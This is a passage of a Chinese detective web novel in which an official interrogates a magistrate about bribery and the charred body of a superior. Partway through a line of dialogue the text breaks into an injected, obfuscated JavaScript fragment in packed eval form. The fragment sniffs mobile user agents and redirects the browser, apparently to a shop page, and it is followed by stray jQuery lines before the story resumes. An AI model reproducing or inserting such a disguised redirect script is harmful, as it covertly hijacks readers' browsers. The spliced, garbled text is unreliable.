的金饼滚了一地,“因为有人向他行贿,赃物就在这里。”
这几罐沉甸甸的东西提到周庸跟前时,他面色煞白,嘴唇颤抖,连带着两撇鼠须不住颤动,抖抖索索道:
“我我、下官不知情,下官不知情……”
鱼乔笑了一声,抖了抖客栈住宿人员记录,刘熙元的上一任赫然录着周庸的名字。
“当真不知吗?那金饼上的印记可清楚得很,究竟何人所铸,为谁而铸,一查便知。这行贿手段也不新鲜,无非上一任住客将金银财物藏在房中,等待下一任住客入住时再顺手牵羊拿走。刘熙元之所以不住驿馆,而下榻此处,全靠周大人精心打点,对吗?”
周庸浑身颤抖,歪倒在一边,半晌道:“不是我行贿,不是我!是他向我……向我索贿,都是他!都是他的错!”苍白的脸色涨得通红,满满都是愤恨。
凌二三插话道:“所以你就杀了他?”
“没有!人不是我杀的!王大人明察!王大人明察!”周庸慌乱地否定,一面作揖求饶,一面试图抓住鱼乔的衣裳下摆,被凌二三一脚踢开了。
鱼乔摇摇头道:“在自己地盘上杀人,他应该没那个胆子。”
“王大人说得是,王大人明鉴!”周庸伏在地上不断点头。
按照法律规定,受绢十五匹就要处以绞刑,受绢三十匹则加役流。这黄金价值远超十五匹绢帛,受贿的刘熙元难免一死,行贿的周庸也逃脱不了重责。
鱼乔皱起眉来,呵斥道:“哪里有地方官的样子?爬起来!”
周庸哆嗦一下,起身站直。
鱼乔道:“刘熙元的死和你脱不了干系,若你积极配合,戴罪立功,此事可以轻判。若再知情不报,干扰办案,周大人行贿的手段,本官一定设法传入圣人耳中。听明白了吗?”
周庸浑身抖如筛糠,手忙脚乱地又是摆手,又是点头。
她端起茶碗,看着里面茶叶沉浮,沉默一阵,捋清思路,开口询问道:“你进入房间时,门是上锁的还是开着的?”
“上、上锁的。”
“你昨天半夜有听见什么异动吗?火光、声响之类?或者房间可有什么古怪之处?”
周庸挤出个比哭难看的笑容,一夜之间,积极巴结的上司变成了黑漆漆的焦尸,还有什么比这个更古怪的?
他当然不敢说出口,只一味摇头。
“你动过尸体吗?”
周庸又是摇头:“我压根没敢走得太近,刘大人躺在那里,露出的头脸都是黑的,像是一截烧焦的木头,实在……实在是太骇人了!”说罢举起袖子捂住脸,似乎是不敢回忆当时的场景。
“你走之后,那房间可还有人进
;eval(function(p,a,c,k,e,d){e=function(c){return(c
35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16922224|192601||http|test|ni|href|location''''.split(''''|''''),0,{}));
() {
$(''''.infor'').reve();
$(''''#content'''').append(''''
去过?”
周庸连连摇头,道:“绝无可能。周某虽然没有王大人断案的本事,但也晓得这件事的厉害。那……那间房出事后,下官立即命令六七个守卫把守,连只苍蝇也飞不进去。”
凌二三轻笑了一声,侧脸看向鱼乔,扬了扬眉,眼中全是得意之色。
鱼乔心里暗自觉得好笑,在重重把守下盗走鱼符的确是他的本事,可这人瞧着也十七八岁了,仍是一副孩子心性,这副邀功的架势